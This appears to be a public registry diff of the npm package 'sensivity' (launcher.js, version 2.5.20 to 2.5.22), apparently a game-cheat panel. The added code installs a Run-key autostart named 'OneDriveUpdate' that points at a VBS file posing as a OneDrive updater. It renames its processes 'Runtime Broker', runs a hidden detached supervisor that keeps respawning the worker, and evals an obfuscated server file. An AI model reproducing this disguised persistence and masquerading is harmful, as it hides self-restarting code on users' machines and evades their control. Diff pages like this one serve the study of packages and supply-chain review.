sensivity 2.5.20 → 2.5.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/launcher.js +184 -62
- package/package.json +1 -1
package/launcher.js
CHANGED
|
@@ -2,22 +2,24 @@
|
|
|
2
2
|
'use strict';
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const path = require('path');
|
|
5
|
-
const { execSync, exec } = require('child_process');
|
|
5
|
+
const { execSync, exec, spawn } = require('child_process');
|
|
6
6
|
const APP_DIR = __dirname;
|
|
7
7
|
try { process.chdir(APP_DIR); } catch(e) {}
|
|
8
8
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
const debugState = { lastLine: '', lastTime: 0 };
|
|
9
|
+
const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
|
|
12
10
|
const rawConsole = {
|
|
13
11
|
log: console.log.bind(console),
|
|
14
12
|
warn: console.warn.bind(console),
|
|
15
13
|
error: console.error.bind(console)
|
|
16
14
|
};
|
|
17
|
-
const
|
|
18
|
-
const
|
|
15
|
+
const QR_WINDOW_TITLE = 'Sensivity Panel';
|
|
16
|
+
const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
|
|
17
|
+
const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
|
|
18
|
+
const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
|
|
19
|
+
const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
|
|
20
|
+
const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
|
|
19
21
|
|
|
20
|
-
function
|
|
22
|
+
function cleanIssueValue(value) {
|
|
21
23
|
let text = '';
|
|
22
24
|
if (value instanceof Error) text = [value.code, value.message, value.stack].filter(Boolean).join(' ');
|
|
23
25
|
else if (typeof value === 'string') text = value;
|
|
@@ -43,45 +45,167 @@ function cleanConsoleValue(value) {
|
|
|
43
45
|
.replace(new RegExp(APP_DIR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '<app>');
|
|
44
46
|
}
|
|
45
47
|
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
48
|
+
['log', 'warn', 'error'].forEach(level => {
|
|
49
|
+
console[level] = (...args) => {
|
|
50
|
+
const cleaned = args.map(cleanConsoleValue);
|
|
51
|
+
const joined = cleaned.join(' ').toLowerCase();
|
|
52
|
+
if (joined.includes('program module loaded')) return;
|
|
53
|
+
rawConsole[level](...cleaned);
|
|
54
|
+
};
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
function issueLog(message, detail) {
|
|
58
|
+
const cleanMessage = cleanIssueValue(message);
|
|
59
|
+
const cleanDetail = detail === undefined ? '' : cleanIssueValue(detail);
|
|
60
|
+
const line = '[Program] ' + cleanMessage + (cleanDetail ? ' | ' + cleanDetail : '');
|
|
50
61
|
const now = Date.now();
|
|
51
|
-
if (line ===
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
rawConsole.log(line);
|
|
62
|
+
if (line === issueState.lastLine && now - issueState.lastTime < 1500) return;
|
|
63
|
+
issueState.lastLine = line;
|
|
64
|
+
issueState.lastTime = now;
|
|
65
|
+
rawConsole.warn(line);
|
|
56
66
|
}
|
|
57
67
|
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
}
|
|
68
|
+
function removeFileSafe(file) {
|
|
69
|
+
try { fs.unlinkSync(file); } catch(e) {}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function ensureAutostart() {
|
|
73
|
+
try {
|
|
74
|
+
const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
|
|
75
|
+
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
function isProcessAlive(pid) {
|
|
80
|
+
if (!pid || pid === process.pid) return false;
|
|
81
|
+
try {
|
|
82
|
+
process.kill(pid, 0);
|
|
83
|
+
return true;
|
|
84
|
+
} catch(e) {
|
|
85
|
+
return false;
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
function isSupervisorRunning() {
|
|
90
|
+
try {
|
|
91
|
+
const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
|
|
92
|
+
return isProcessAlive(pid);
|
|
93
|
+
} catch(e) {
|
|
94
|
+
return false;
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function isPanelPortBusy() {
|
|
99
|
+
try {
|
|
100
|
+
const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
|
|
101
|
+
return out.trim() === 'YES';
|
|
102
|
+
} catch(e) {
|
|
103
|
+
return false;
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
function startSupervisor() {
|
|
108
|
+
try {
|
|
109
|
+
removeFileSafe(STOP_FILE);
|
|
110
|
+
const child = spawn(process.execPath, [__filename], {
|
|
111
|
+
cwd: APP_DIR,
|
|
112
|
+
detached: true,
|
|
113
|
+
stdio: 'ignore',
|
|
114
|
+
windowsHide: true,
|
|
115
|
+
env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
|
|
116
|
+
});
|
|
117
|
+
child.unref();
|
|
118
|
+
return true;
|
|
119
|
+
} catch(e) {
|
|
120
|
+
issueLog('Background start failed', e);
|
|
121
|
+
return false;
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
function runSupervisor() {
|
|
126
|
+
process.title = 'Runtime Broker';
|
|
127
|
+
try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
|
|
128
|
+
|
|
129
|
+
const cleanup = () => removeFileSafe(SUPERVISOR_PID_FILE);
|
|
130
|
+
process.on('exit', cleanup);
|
|
131
|
+
process.on('SIGINT', () => process.exit(0));
|
|
132
|
+
process.on('SIGTERM', () => process.exit(0));
|
|
133
|
+
|
|
134
|
+
const launchWorker = () => {
|
|
135
|
+
if (fs.existsSync(STOP_FILE)) {
|
|
136
|
+
removeFileSafe(STOP_FILE);
|
|
137
|
+
process.exit(0);
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
let worker;
|
|
141
|
+
try {
|
|
142
|
+
worker = spawn(process.execPath, [__filename], {
|
|
143
|
+
cwd: APP_DIR,
|
|
144
|
+
stdio: 'ignore',
|
|
145
|
+
windowsHide: true,
|
|
146
|
+
env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
|
|
147
|
+
});
|
|
148
|
+
} catch(e) {
|
|
149
|
+
setTimeout(launchWorker, 3000);
|
|
150
|
+
return;
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
worker.on('exit', () => {
|
|
154
|
+
if (fs.existsSync(STOP_FILE)) {
|
|
155
|
+
removeFileSafe(STOP_FILE);
|
|
156
|
+
process.exit(0);
|
|
157
|
+
}
|
|
158
|
+
setTimeout(launchWorker, 1500);
|
|
159
|
+
});
|
|
160
|
+
worker.on('error', () => setTimeout(launchWorker, 3000));
|
|
161
|
+
};
|
|
162
|
+
|
|
163
|
+
launchWorker();
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
if (IS_SUPERVISOR) {
|
|
167
|
+
runSupervisor();
|
|
168
|
+
} else {
|
|
169
|
+
if (!IS_WORKER && !RUN_AS_FOREGROUND) {
|
|
170
|
+
ensureAutostart();
|
|
171
|
+
if (!isSupervisorRunning() && !isPanelPortBusy()) startSupervisor();
|
|
172
|
+
process.exit(0);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
process.title = 'Runtime Broker';
|
|
176
|
+
|
|
177
|
+
function beginStartWatch() {
|
|
178
|
+
const token = ++issueState.startToken;
|
|
179
|
+
issueState.startConfirmed = false;
|
|
180
|
+
setTimeout(() => {
|
|
181
|
+
if (issueState.startToken === token && !issueState.startConfirmed) {
|
|
182
|
+
issueLog('Program start did not confirm');
|
|
183
|
+
}
|
|
184
|
+
}, 5000);
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
function markStartConfirmed() {
|
|
188
|
+
issueState.startConfirmed = true;
|
|
189
|
+
}
|
|
61
190
|
|
|
62
191
|
function wrapProgramExports(exportsValue) {
|
|
63
192
|
const wrapFn = (fn, label) => function wrappedProgramFunction(...args) {
|
|
64
193
|
const activeAction = /start|run|init|attach|launch|enable/i.test(label);
|
|
65
|
-
const stopAction = /stop|shutdown|disable/i.test(label);
|
|
66
194
|
try {
|
|
67
|
-
if (activeAction) debugLog('Program start entered', label);
|
|
68
|
-
else if (stopAction) debugLog('Program stop entered', label);
|
|
69
195
|
const result = fn.apply(this, args);
|
|
70
196
|
if (result && typeof result.then === 'function') {
|
|
71
197
|
return result.then(value => {
|
|
72
|
-
if (activeAction)
|
|
73
|
-
else if (stopAction) debugLog('Program inactive', label);
|
|
198
|
+
if (activeAction) markStartConfirmed();
|
|
74
199
|
return value;
|
|
75
200
|
}, err => {
|
|
76
|
-
|
|
201
|
+
issueLog(activeAction ? 'Program start failed' : 'Program action failed', err);
|
|
77
202
|
throw err;
|
|
78
203
|
});
|
|
79
204
|
}
|
|
80
|
-
if (activeAction)
|
|
81
|
-
else if (stopAction) debugLog('Program inactive', label);
|
|
205
|
+
if (activeAction) markStartConfirmed();
|
|
82
206
|
return result;
|
|
83
207
|
} catch(e) {
|
|
84
|
-
|
|
208
|
+
issueLog(activeAction ? 'Program start failed' : 'Program action failed', e);
|
|
85
209
|
throw e;
|
|
86
210
|
}
|
|
87
211
|
};
|
|
@@ -108,17 +232,16 @@ try {
|
|
|
108
232
|
try {
|
|
109
233
|
const loaded = originalLoad.apply(this, arguments);
|
|
110
234
|
if (String(resolved).toLowerCase().endsWith('.node')) {
|
|
111
|
-
debugLog('Program module ready');
|
|
112
235
|
return wrapProgramExports(loaded);
|
|
113
236
|
}
|
|
114
237
|
return loaded;
|
|
115
238
|
} catch(e) {
|
|
116
|
-
if (String(resolved || request).toLowerCase().endsWith('.node'))
|
|
239
|
+
if (String(resolved || request).toLowerCase().endsWith('.node')) issueLog('Program module failed', e);
|
|
117
240
|
throw e;
|
|
118
241
|
}
|
|
119
242
|
};
|
|
120
243
|
} catch(e) {
|
|
121
|
-
|
|
244
|
+
issueLog('Program loader failed', e);
|
|
122
245
|
}
|
|
123
246
|
|
|
124
247
|
try {
|
|
@@ -129,35 +252,32 @@ try {
|
|
|
129
252
|
const originalEmit = socketProto.emit;
|
|
130
253
|
socketProto.onevent = function patchedOnevent(packet) {
|
|
131
254
|
const eventName = packet && Array.isArray(packet.data) ? packet.data[0] : '';
|
|
132
|
-
if (eventName === 'startCheat')
|
|
133
|
-
else if (eventName === 'stopCheat') debugLog('Stop requested');
|
|
134
|
-
else if (eventName === 'checkLicense') debugLog('License check requested');
|
|
255
|
+
if (eventName === 'startCheat') beginStartWatch();
|
|
135
256
|
return originalOnevent.apply(this, arguments);
|
|
136
257
|
};
|
|
137
258
|
socketProto.emit = function patchedEmit(eventName, ...args) {
|
|
138
259
|
if (eventName === 'status' && args[0] && typeof args[0].running !== 'undefined') {
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
debugLog(args[0].ok ? 'License accepted' : 'License rejected');
|
|
260
|
+
if (args[0].running) markStartConfirmed();
|
|
261
|
+
else if (!issueState.startConfirmed) issueLog('Program inactive after start');
|
|
142
262
|
}
|
|
143
263
|
return originalEmit.apply(this, arguments);
|
|
144
264
|
};
|
|
145
265
|
socketProto.__programDebugInstalled = true;
|
|
146
266
|
}
|
|
147
|
-
debugLog('Panel bridge ready');
|
|
148
|
-
debugLog('Debug log ready', debugFile);
|
|
149
267
|
} catch(e) {
|
|
150
|
-
|
|
268
|
+
issueLog('Panel bridge failed', e);
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
function fatalIssue(message, error) {
|
|
272
|
+
issueLog(message, error);
|
|
273
|
+
if (IS_WORKER && !RUN_AS_FOREGROUND) setTimeout(() => process.exit(1), 100);
|
|
151
274
|
}
|
|
152
275
|
|
|
153
|
-
process.on('uncaughtException', e =>
|
|
154
|
-
process.on('unhandledRejection', e =>
|
|
276
|
+
process.on('uncaughtException', e => fatalIssue('Program fault', e));
|
|
277
|
+
process.on('unhandledRejection', e => fatalIssue('Program async fault', e));
|
|
155
278
|
|
|
156
279
|
// ===== Auto-start =====
|
|
157
|
-
|
|
158
|
-
const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
|
|
159
|
-
execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
|
|
160
|
-
} catch(e) {}
|
|
280
|
+
ensureAutostart();
|
|
161
281
|
|
|
162
282
|
function removeAutostart() {
|
|
163
283
|
try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
|
|
@@ -178,8 +298,19 @@ function checkYouTube(callback) {
|
|
|
178
298
|
// ===== QR Window =====
|
|
179
299
|
let qrOpen = false;
|
|
180
300
|
|
|
301
|
+
function qrWindowExists() {
|
|
302
|
+
try {
|
|
303
|
+
const title = QR_WINDOW_TITLE.replace(/'/g, "''");
|
|
304
|
+
const out = execSync(`powershell -NoProfile -Command "$p=Get-Process powershell,pwsh -EA 0 | Where-Object { $_.MainWindowTitle -eq '${title}' }; if($p){Write-Output 'YES'}"`, { encoding: 'utf8', timeout: 3000 });
|
|
305
|
+
return out.trim() === 'YES';
|
|
306
|
+
} catch(e) {
|
|
307
|
+
return false;
|
|
308
|
+
}
|
|
309
|
+
}
|
|
310
|
+
|
|
181
311
|
function showQR() {
|
|
182
|
-
if (qrOpen) return;
|
|
312
|
+
if (qrOpen && qrWindowExists()) return;
|
|
313
|
+
if (qrWindowExists()) { qrOpen = true; return; }
|
|
183
314
|
qrOpen = true;
|
|
184
315
|
const url = global.serverUrl || 'http://192.168.1.16:3000';
|
|
185
316
|
|
|
@@ -200,25 +331,14 @@ function showQR() {
|
|
|
200
331
|
const psFile = path.join(APP_DIR, '.qrshow.ps1');
|
|
201
332
|
fs.writeFileSync(psFile, [
|
|
202
333
|
'[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
|
|
203
|
-
'$host.UI.RawUI.WindowTitle = "
|
|
334
|
+
'$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
|
|
204
335
|
'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
|
|
205
336
|
'Clear-Host',
|
|
206
337
|
'Get-Content "' + qrFile + '" -Encoding UTF8',
|
|
207
338
|
'Write-Host ""',
|
|
208
|
-
'
|
|
209
|
-
'
|
|
210
|
-
'while($true) {'
|
|
211
|
-
' Start-Sleep -Seconds 4',
|
|
212
|
-
' try {',
|
|
213
|
-
' $c=Get-Process chrome -EA Stop',
|
|
214
|
-
' $f=$false',
|
|
215
|
-
' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
|
|
216
|
-
' if(-not $f){$failCount++} else {$failCount=0}',
|
|
217
|
-
' if($failCount -ge 3){break}',
|
|
218
|
-
' } catch { $failCount++; if($failCount -ge 3){break} }',
|
|
219
|
-
'}',
|
|
220
|
-
'del "' + qrFile + '" -Force -EA 0',
|
|
221
|
-
'del "' + psFile + '" -Force -EA 0'
|
|
339
|
+
'Remove-Item "' + qrFile + '" -Force -EA 0',
|
|
340
|
+
'Remove-Item "' + psFile + '" -Force -EA 0',
|
|
341
|
+
'while($true) { Start-Sleep -Seconds 3600 }'
|
|
222
342
|
].join('\n'));
|
|
223
343
|
exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
|
|
224
344
|
}
|
|
@@ -243,6 +363,7 @@ monitor();
|
|
|
243
363
|
// ===== Kill =====
|
|
244
364
|
global.killSensivity = () => {
|
|
245
365
|
global._shuttingDown = true;
|
|
366
|
+
try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
|
|
246
367
|
hideQR();
|
|
247
368
|
// Auto-start KALIR, sadece process durur
|
|
248
369
|
setTimeout(() => process.exit(), 500);
|
|
@@ -253,3 +374,4 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
|
|
|
253
374
|
? path.join(APP_DIR, 'server.obf.js')
|
|
254
375
|
: path.join(APP_DIR, 'server.js');
|
|
255
376
|
eval(fs.readFileSync(serverCode, 'utf8'));
|
|
377
|
+
}
|